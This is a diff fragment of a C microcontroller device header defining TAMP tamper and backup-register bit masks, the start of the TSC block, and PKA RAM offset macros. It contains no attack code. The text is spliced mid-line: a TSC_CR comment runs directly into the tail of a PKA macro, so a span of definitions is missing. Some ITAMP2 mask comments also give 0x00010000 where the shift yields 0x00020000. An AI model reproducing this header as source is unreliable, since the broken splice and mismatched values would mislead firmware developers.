TAMP_MISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_MISR_TAMP1MF TAMP_MISR_TAMP1MF_Msk +#define TAMP_MISR_TAMP2MF_Pos (1UL) +#define TAMP_MISR_TAMP2MF_Msk (0x1UL << TAMP_MISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_MISR_TAMP2MF TAMP_MISR_TAMP2MF_Msk +#define TAMP_MISR_TAMP3MF_Pos (2UL) +#define TAMP_MISR_TAMP3MF_Msk (0x1UL << TAMP_MISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_MISR_TAMP3MF TAMP_MISR_TAMP3MF_Msk +#define TAMP_MISR_TAMP4MF_Pos (3UL) +#define TAMP_MISR_TAMP4MF_Msk (0x1UL << TAMP_MISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_MISR_TAMP4MF TAMP_MISR_TAMP4MF_Msk +#define TAMP_MISR_TAMP5MF_Pos (4UL) +#define TAMP_MISR_TAMP5MF_Msk (0x1UL << TAMP_MISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_MISR_TAMP5MF TAMP_MISR_TAMP5MF_Msk +#define TAMP_MISR_TAMP6MF_Pos (5UL) +#define TAMP_MISR_TAMP6MF_Msk (0x1UL << TAMP_MISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_MISR_TAMP6MF TAMP_MISR_TAMP6MF_Msk +#define TAMP_MISR_TAMP7MF_Pos (6UL) +#define TAMP_MISR_TAMP7MF_Msk (0x1UL << TAMP_MISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_MISR_TAMP7MF TAMP_MISR_TAMP7MF_Msk +#define TAMP_MISR_TAMP8MF_Pos (7UL) +#define TAMP_MISR_TAMP8MF_Msk (0x1UL << TAMP_MISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_MISR_TAMP8MF TAMP_MISR_TAMP8MF_Msk +#define TAMP_MISR_ITAMP1MF_Pos (16UL) +#define TAMP_MISR_ITAMP1MF_Msk (0x1UL << TAMP_MISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP1MF TAMP_MISR_ITAMP1MF_Msk +#define TAMP_MISR_ITAMP2MF_Pos (17UL) +#define TAMP_MISR_ITAMP2MF_Msk (0x1UL << TAMP_MISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP2MF TAMP_MISR_ITAMP2MF_Msk +#define TAMP_MISR_ITAMP3MF_Pos (18UL) +#define TAMP_MISR_ITAMP3MF_Msk (0x1UL << TAMP_MISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_MISR_ITAMP3MF TAMP_MISR_ITAMP3MF_Msk +#define TAMP_MISR_ITAMP5MF_Pos (20UL) +#define TAMP_MISR_ITAMP5MF_Msk (0x1UL << TAMP_MISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_MISR_ITAMP5MF TAMP_MISR_ITAMP5MF_Msk +#define TAMP_MISR_ITAMP6MF_Pos (21UL) +#define TAMP_MISR_ITAMP6MF_Msk (0x1UL << TAMP_MISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_MISR_ITAMP6MF TAMP_MISR_ITAMP6MF_Msk +#define TAMP_MISR_ITAMP7MF_Pos (22UL) +#define TAMP_MISR_ITAMP7MF_Msk (0x1UL << TAMP_MISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_MISR_ITAMP7MF TAMP_MISR_ITAMP7MF_Msk +#define TAMP_MISR_ITAMP8MF_Pos (23UL) +#define TAMP_MISR_ITAMP8MF_Msk (0x1UL << TAMP_MISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_MISR_ITAMP8MF TAMP_MISR_ITAMP8MF_Msk +#define TAMP_MISR_ITAMP9MF_Pos (24UL) +#define TAMP_MISR_ITAMP9MF_Msk (0x1UL << TAMP_MISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_MISR_ITAMP9MF TAMP_MISR_ITAMP9MF_Msk +#define TAMP_MISR_ITAMP11MF_Pos (26UL) +#define TAMP_MISR_ITAMP11MF_Msk (0x1UL << TAMP_MISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_MISR_ITAMP11MF TAMP_MISR_ITAMP11MF_Msk +#define TAMP_MISR_ITAMP12MF_Pos (27UL) +#define TAMP_MISR_ITAMP12MF_Msk (0x1UL << TAMP_MISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_MISR_ITAMP12MF TAMP_MISR_ITAMP12MF_Msk +#define TAMP_MISR_ITAMP13MF_Pos (28UL) +#define TAMP_MISR_ITAMP13MF_Msk (0x1UL << TAMP_MISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_MISR_ITAMP13MF TAMP_MISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SMISR register ************ *****/ +#define TAMP_SMISR_TAMP1MF_Pos (0UL) +#define TAMP_SMISR_TAMP1MF_Msk (0x1UL << TAMP_SMISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_SMISR_TAMP1MF TAMP_SMISR_TAMP1MF_Msk +#define TAMP_SMISR_TAMP2MF_Pos (1UL) +#define TAMP_SMISR_TAMP2MF_Msk (0x1UL << TAMP_SMISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_SMISR_TAMP2MF TAMP_SMISR_TAMP2MF_Msk +#define TAMP_SMISR_TAMP3MF_Pos (2UL) +#define TAMP_SMISR_TAMP3MF_Msk (0x1UL << TAMP_SMISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_SMISR_TAMP3MF TAMP_SMISR_TAMP3MF_Msk +#define TAMP_SMISR_TAMP4MF_Pos (3UL) +#define TAMP_SMISR_TAMP4MF_Msk (0x1UL << TAMP_SMISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_SMISR_TAMP4MF TAMP_SMISR_TAMP4MF_Msk +#define TAMP_SMISR_TAMP5MF_Pos (4UL) +#define TAMP_SMISR_TAMP5MF_Msk (0x1UL << TAMP_SMISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_SMISR_TAMP5MF TAMP_SMISR_TAMP5MF_Msk +#define TAMP_SMISR_TAMP6MF_Pos (5UL) +#define TAMP_SMISR_TAMP6MF_Msk (0x1UL << TAMP_SMISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_SMISR_TAMP6MF TAMP_SMISR_TAMP6MF_Msk +#define TAMP_SMISR_TAMP7MF_Pos (6UL) +#define TAMP_SMISR_TAMP7MF_Msk (0x1UL << TAMP_SMISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_SMISR_TAMP7MF TAMP_SMISR_TAMP7MF_Msk +#define TAMP_SMISR_TAMP8MF_Pos (7UL) +#define TAMP_SMISR_TAMP8MF_Msk (0x1UL << TAMP_SMISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_SMISR_TAMP8MF TAMP_SMISR_TAMP8MF_Msk +#define TAMP_SMISR_ITAMP1MF_Pos (16UL) +#define TAMP_SMISR_ITAMP1MF_Msk (0x1UL << TAMP_SMISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP1MF TAMP_SMISR_ITAMP1MF_Msk +#define TAMP_SMISR_ITAMP2MF_Pos (17UL) +#define TAMP_SMISR_ITAMP2MF_Msk (0x1UL << TAMP_SMISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP2MF TAMP_SMISR_ITAMP2MF_Msk +#define TAMP_SMISR_ITAMP3MF_Pos (18UL) +#define TAMP_SMISR_ITAMP3MF_Msk (0x1UL << TAMP_SMISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_SMISR_ITAMP3MF TAMP_SMISR_ITAMP3MF_Msk +#define TAMP_SMISR_ITAMP5MF_Pos (20UL) +#define TAMP_SMISR_ITAMP5MF_Msk (0x1UL << TAMP_SMISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP5MF TAMP_SMISR_ITAMP5MF_Msk +#define TAMP_SMISR_ITAMP6MF_Pos (21UL) +#define TAMP_SMISR_ITAMP6MF_Msk (0x1UL << TAMP_SMISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_SMISR_ITAMP6MF TAMP_SMISR_ITAMP6MF_Msk +#define TAMP_SMISR_ITAMP7MF_Pos (22UL) +#define TAMP_SMISR_ITAMP7MF_Msk (0x1UL << TAMP_SMISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP7MF TAMP_SMISR_ITAMP7MF_Msk +#define TAMP_SMISR_ITAMP8MF_Pos (23UL) +#define TAMP_SMISR_ITAMP8MF_Msk (0x1UL << TAMP_SMISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_SMISR_ITAMP8MF TAMP_SMISR_ITAMP8MF_Msk +#define TAMP_SMISR_ITAMP9MF_Pos (24UL) +#define TAMP_SMISR_ITAMP9MF_Msk (0x1UL << TAMP_SMISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_SMISR_ITAMP9MF TAMP_SMISR_ITAMP9MF_Msk +#define TAMP_SMISR_ITAMP11MF_Pos (26UL) +#define TAMP_SMISR_ITAMP11MF_Msk (0x1UL << TAMP_SMISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_SMISR_ITAMP11MF TAMP_SMISR_ITAMP11MF_Msk +#define TAMP_SMISR_ITAMP12MF_Pos (27UL) +#define TAMP_SMISR_ITAMP12MF_Msk (0x1UL << TAMP_SMISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_SMISR_ITAMP12MF TAMP_SMISR_ITAMP12MF_Msk +#define TAMP_SMISR_ITAMP13MF_Pos (28UL) +#define TAMP_SMISR_ITAMP13MF_Msk (0x1UL << TAMP_SMISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_SMISR_ITAMP13MF TAMP_SMISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SCR register *****************/ +#define TAMP_SCR_CTAMP1F_Pos (0UL) +#define TAMP_SCR_CTAMP1F_Msk (0x1UL << TAMP_SCR_CTAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SCR_CTAMP1F TAMP_SCR_CTAMP1F_Msk +#define TAMP_SCR_CTAMP2F_Pos (1UL) +#define TAMP_SCR_CTAMP2F_Msk (0x1UL << TAMP_SCR_CTAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SCR_CTAMP2F TAMP_SCR_CTAMP2F_Msk +#define TAMP_SCR_CTAMP3F_Pos (2UL) +#define TAMP_SCR_CTAMP3F_Msk (0x1UL << TAMP_SCR_CTAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SCR_CTAMP3F TAMP_SCR_CTAMP3F_Msk +#define TAMP_SCR_CTAMP4F_Pos (3UL) +#define TAMP_SCR_CTAMP4F_Msk (0x1UL << TAMP_SCR_CTAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SCR_CTAMP4F TAMP_SCR_CTAMP4F_Msk +#define TAMP_SCR_CTAMP5F_Pos (4UL) +#define TAMP_SCR_CTAMP5F_Msk (0x1UL << TAMP_SCR_CTAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SCR_CTAMP5F TAMP_SCR_CTAMP5F_Msk +#define TAMP_SCR_CTAMP6F_Pos (5UL) +#define TAMP_SCR_CTAMP6F_Msk (0x1UL << TAMP_SCR_CTAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SCR_CTAMP6F TAMP_SCR_CTAMP6F_Msk +#define TAMP_SCR_CTAMP7F_Pos (6UL) +#define TAMP_SCR_CTAMP7F_Msk (0x1UL << TAMP_SCR_CTAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SCR_CTAMP7F TAMP_SCR_CTAMP7F_Msk +#define TAMP_SCR_CTAMP8F_Pos (7UL) +#define TAMP_SCR_CTAMP8F_Msk (0x1UL << TAMP_SCR_CTAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SCR_CTAMP8F TAMP_SCR_CTAMP8F_Msk +#define TAMP_SCR_CITAMP1F_Pos (16UL) +#define TAMP_SCR_CITAMP1F_Msk (0x1UL << TAMP_SCR_CITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP1F TAMP_SCR_CITAMP1F_Msk +#define TAMP_SCR_CITAMP2F_Pos (17UL) +#define TAMP_SCR_CITAMP2F_Msk (0x1UL << TAMP_SCR_CITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP2F TAMP_SCR_CITAMP2F_Msk +#define TAMP_SCR_CITAMP3F_Pos (18UL) +#define TAMP_SCR_CITAMP3F_Msk (0x1UL << TAMP_SCR_CITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SCR_CITAMP3F TAMP_SCR_CITAMP3F_Msk +#define TAMP_SCR_CITAMP5F_Pos (20UL) +#define TAMP_SCR_CITAMP5F_Msk (0x1UL << TAMP_SCR_CITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP5F TAMP_SCR_CITAMP5F_Msk +#define TAMP_SCR_CITAMP6F_Pos (21UL) +#define TAMP_SCR_CITAMP6F_Msk (0x1UL << TAMP_SCR_CITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SCR_CITAMP6F TAMP_SCR_CITAMP6F_Msk +#define TAMP_SCR_CITAMP7F_Pos (22UL) +#define TAMP_SCR_CITAMP7F_Msk (0x1UL << TAMP_SCR_CITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP7F TAMP_SCR_CITAMP7F_Msk +#define TAMP_SCR_CITAMP8F_Pos (23UL) +#define TAMP_SCR_CITAMP8F_Msk (0x1UL << TAMP_SCR_CITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SCR_CITAMP8F TAMP_SCR_CITAMP8F_Msk +#define TAMP_SCR_CITAMP9F_Pos (24UL) +#define TAMP_SCR_CITAMP9F_Msk (0x1UL << TAMP_SCR_CITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SCR_CITAMP9F TAMP_SCR_CITAMP9F_Msk +#define TAMP_SCR_CITAMP11F_Pos (26UL) +#define TAMP_SCR_CITAMP11F_Msk (0x1UL << TAMP_SCR_CITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SCR_CITAMP11F TAMP_SCR_CITAMP11F_Msk +#define TAMP_SCR_CITAMP12F_Pos (27UL) +#define TAMP_SCR_CITAMP12F_Msk (0x1UL << TAMP_SCR_CITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SCR_CITAMP12F TAMP_SCR_CITAMP12F_Msk +#define TAMP_SCR_CITAMP13F_Pos (28UL) +#define TAMP_SCR_CITAMP13F_Msk (0x1UL << TAMP_SCR_CITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SCR_CITAMP13F TAMP_SCR_CITAMP13F_Msk + +/******************** Bits definition for TAMP_COUNTR register ***************/ +#define TAMP_COUNTR_Pos (16UL) +#define TAMP_COUNTR_Msk (0xFFFFUL << TAMP_COUNTR_Pos) /*!< 0xFFFF0000 */ +#define TAMP_COUNTR TAMP_COUNTR_Msk + +/******************** Bits definition for TAMP_ERCFGR register ***************/ +#define TAMP_ERCFGR0_Pos (0UL) +#define TAMP_ERCFGR0_Msk (0x1UL << TAMP_ERCFGR0_Pos) /*!< 0x00000001 */ +#define TAMP_ERCFGR0 TAMP_ERCFGR0_Msk + +/******************** Bits definition for TAMP_BKP0R register ***************/ +#define TAMP_BKP0R_Pos (0UL) +#define TAMP_BKP0R_Msk (0xFFFFFFFFUL << TAMP_BKP0R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP0R TAMP_BKP0R_Msk + +/******************** Bits definition for TAMP_BKP1R register ****************/ +#define TAMP_BKP1R_Pos (0UL) +#define TAMP_BKP1R_Msk (0xFFFFFFFFUL << TAMP_BKP1R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP1R TAMP_BKP1R_Msk + +/******************** Bits definition for TAMP_BKP2R register ****************/ +#define TAMP_BKP2R_Pos (0UL) +#define TAMP_BKP2R_Msk (0xFFFFFFFFUL << TAMP_BKP2R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP2R TAMP_BKP2R_Msk + +/******************** Bits definition for TAMP_BKP3R register ****************/ +#define TAMP_BKP3R_Pos (0UL) +#define TAMP_BKP3R_Msk (0xFFFFFFFFUL << TAMP_BKP3R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP3R TAMP_BKP3R_Msk + +/******************** Bits definition for TAMP_BKP4R register ****************/ +#define TAMP_BKP4R_Pos (0UL) +#define TAMP_BKP4R_Msk (0xFFFFFFFFUL << TAMP_BKP4R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP4R TAMP_BKP4R_Msk + +/******************** Bits definition for TAMP_BKP5R register ****************/ +#define TAMP_BKP5R_Pos (0UL) +#define TAMP_BKP5R_Msk (0xFFFFFFFFUL << TAMP_BKP5R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP5R TAMP_BKP5R_Msk + +/******************** Bits definition for TAMP_BKP6R register ****************/ +#define TAMP_BKP6R_Pos (0UL) +#define TAMP_BKP6R_Msk (0xFFFFFFFFUL << TAMP_BKP6R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP6R TAMP_BKP6R_Msk + +/******************** Bits definition for TAMP_BKP7R register ****************/ +#define TAMP_BKP7R_Pos (0UL) +#define TAMP_BKP7R_Msk (0xFFFFFFFFUL << TAMP_BKP7R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP7R TAMP_BKP7R_Msk + +/******************** Bits definition for TAMP_BKP8R register ****************/ +#define TAMP_BKP8R_Pos (0UL) +#define TAMP_BKP8R_Msk (0xFFFFFFFFUL << TAMP_BKP8R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP8R TAMP_BKP8R_Msk + +/******************** Bits definition for TAMP_BKP9R register ****************/ +#define TAMP_BKP9R_Pos (0UL) +#define TAMP_BKP9R_Msk (0xFFFFFFFFUL << TAMP_BKP9R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP9R TAMP_BKP9R_Msk + +/******************** Bits definition for TAMP_BKP10R register ***************/ +#define TAMP_BKP10R_Pos (0UL) +#define TAMP_BKP10R_Msk (0xFFFFFFFFUL << TAMP_BKP10R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP10R TAMP_BKP10R_Msk + +/******************** Bits definition for TAMP_BKP11R register ***************/ +#define TAMP_BKP11R_Pos (0UL) +#define TAMP_BKP11R_Msk (0xFFFFFFFFUL << TAMP_BKP11R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP11R TAMP_BKP11R_Msk + +/******************** Bits definition for TAMP_BKP12R register ***************/ +#define TAMP_BKP12R_Pos (0UL) +#define TAMP_BKP12R_Msk (0xFFFFFFFFUL << TAMP_BKP12R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP12R TAMP_BKP12R_Msk + +/******************** Bits definition for TAMP_BKP13R register ***************/ +#define TAMP_BKP13R_Pos (0UL) +#define TAMP_BKP13R_Msk (0xFFFFFFFFUL << TAMP_BKP13R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP13R TAMP_BKP13R_Msk + +/******************** Bits definition for TAMP_BKP14R register ***************/ +#define TAMP_BKP14R_Pos (0UL) +#define TAMP_BKP14R_Msk (0xFFFFFFFFUL << TAMP_BKP14R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP14R TAMP_BKP14R_Msk + +/******************** Bits definition for TAMP_BKP15R register ***************/ +#define TAMP_BKP15R_Pos (0UL) +#define TAMP_BKP15R_Msk (0xFFFFFFFFUL << TAMP_BKP15R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP15R TAMP_BKP15R_Msk + +/******************** Bits definition for TAMP_BKP16R register ***************/ +#define TAMP_BKP16R_Pos (0UL) +#define TAMP_BKP16R_Msk (0xFFFFFFFFUL << TAMP_BKP16R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP16R TAMP_BKP16R_Msk + +/******************** Bits definition for TAMP_BKP17R register ***************/ +#define TAMP_BKP17R_Pos (0UL) +#define TAMP_BKP17R_Msk (0xFFFFFFFFUL << TAMP_BKP17R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP17R TAMP_BKP17R_Msk + +/******************** Bits definition for TAMP_BKP18R register ***************/ +#define TAMP_BKP18R_Pos (0UL) +#define TAMP_BKP18R_Msk (0xFFFFFFFFUL << TAMP_BKP18R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP18R TAMP_BKP18R_Msk + +/******************** Bits definition for TAMP_BKP19R register ***************/ +#define TAMP_BKP19R_Pos (0UL) +#define TAMP_BKP19R_Msk (0xFFFFFFFFUL << TAMP_BKP19R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP19R TAMP_BKP19R_Msk + +/******************** Bits definition for TAMP_BKP20R register ***************/ +#define TAMP_BKP20R_Pos (0UL) +#define TAMP_BKP20R_Msk (0xFFFFFFFFUL << TAMP_BKP20R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP20R TAMP_BKP20R_Msk + +/******************** Bits definition for TAMP_BKP21R register ***************/ +#define TAMP_BKP21R_Pos (0UL) +#define TAMP_BKP21R_Msk (0xFFFFFFFFUL << TAMP_BKP21R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP21R TAMP_BKP21R_Msk + +/******************** Bits definition for TAMP_BKP22R register ***************/ +#define TAMP_BKP22R_Pos (0UL) +#define TAMP_BKP22R_Msk (0xFFFFFFFFUL << TAMP_BKP22R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP22R TAMP_BKP22R_Msk + +/******************** Bits definition for TAMP_BKP23R register ***************/ +#define TAMP_BKP23R_Pos (0UL) +#define TAMP_BKP23R_Msk (0xFFFFFFFFUL << TAMP_BKP23R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP23R TAMP_BKP23R_Msk + +/******************** Bits definition for TAMP_BKP24R register ***************/ +#define TAMP_BKP24R_Pos (0UL) +#define TAMP_BKP24R_Msk (0xFFFFFFFFUL << TAMP_BKP24R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP24R TAMP_BKP24R_Msk + +/******************** Bits definition for TAMP_BKP25R register ***************/ +#define TAMP_BKP25R_Pos (0UL) +#define TAMP_BKP25R_Msk (0xFFFFFFFFUL << TAMP_BKP25R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP25R TAMP_BKP25R_Msk + +/******************** Bits definition for TAMP_BKP26R register ***************/ +#define TAMP_BKP26R_Pos (0UL) +#define TAMP_BKP26R_Msk (0xFFFFFFFFUL << TAMP_BKP26R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP26R TAMP_BKP26R_Msk + +/******************** Bits definition for TAMP_BKP27R register ***************/ +#define TAMP_BKP27R_Pos (0UL) +#define TAMP_BKP27R_Msk (0xFFFFFFFFUL << TAMP_BKP27R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP27R TAMP_BKP27R_Msk + +/******************** Bits definition for TAMP_BKP28R register ***************/ +#define TAMP_BKP28R_Pos (0UL) +#define TAMP_BKP28R_Msk (0xFFFFFFFFUL << TAMP_BKP28R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP28R TAMP_BKP28R_Msk + +/******************** Bits definition for TAMP_BKP29R register ***************/ +#define TAMP_BKP29R_Pos (0UL) +#define TAMP_BKP29R_Msk (0xFFFFFFFFUL << TAMP_BKP29R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP29R TAMP_BKP29R_Msk + +/******************** Bits definition for TAMP_BKP30R register ***************/ +#define TAMP_BKP30R_Pos (0UL) +#define TAMP_BKP30R_Msk (0xFFFFFFFFUL << TAMP_BKP30R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP30R TAMP_BKP30R_Msk + +/******************** Bits definition for TAMP_BKP31R register ***************/ +#define TAMP_BKP31R_Pos (0UL) +#define TAMP_BKP31R_Msk (0xFFFFFFFFUL << TAMP_BKP31R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP31R TAMP_BKP31R_Msk + +/******************************************************************************/ +/* */ +/* Touch Sensing Controller (TSC) */ +/* */ +/******************************************************************************/ +/******************* Bit definition for TSC_CR register *********************/ +#define TSC_CR_TSCE_Pos (0UL) +#define TSC_CR_TSCE_Msk (0x1UL << TSC_CR_TSCE_Pos) /*!< 0x00000001 */ +#define TSC_CR_TSCE TSC_CR_TSCE_Msk /*!>2) /*!< Input modulus number of bits */ +#define PKA_MONTGOMERY_PARAM_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Compute Montgomery parameter output data */ +#define PKA_MONTGOMERY_PARAM_OUT_PARAMETER ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output Montgomery parameter */ + +/* Compute modular exponentiation input data */ +#define PKA_MODULAR_EXP_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent number of bits */ +#define PKA_MODULAR_EXP_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_EXP_IN_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_IN_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ +#define PKA_MODULAR_EXP_IN_EXPONENT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process */ +#define PKA_MODULAR_EXP_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT_BASE ((0x16C8UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT ((0x14B8UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process protected exponentiation*/ +#define PKA_MODULAR_EXP_PROTECT_IN_MODULUS ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus to process protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_PHI ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input phi to process protected exponentiation */ + +/* Compute modular exponentiation output data */ +#define PKA_MODULAR_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_ERROR ((0x1298UL - PKA_RAM_OFFSET)>>2) /*!< Output error of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_OUT_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Output base of the exponentiation */ + +/* Compute ECC scalar multiplication input data */ +#define PKA_ECC_SCALAR_MUL_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input curve prime order n number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_SCALAR_MUL_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' of KP */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_N_PRIME_ORDER ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input prime order n */ + +/* Compute ECC scalar multiplication output data */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Point check input data */ +#define PKA_POINT_CHECK_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_POINT_CHECK_IN_A_COEFF_SIGN 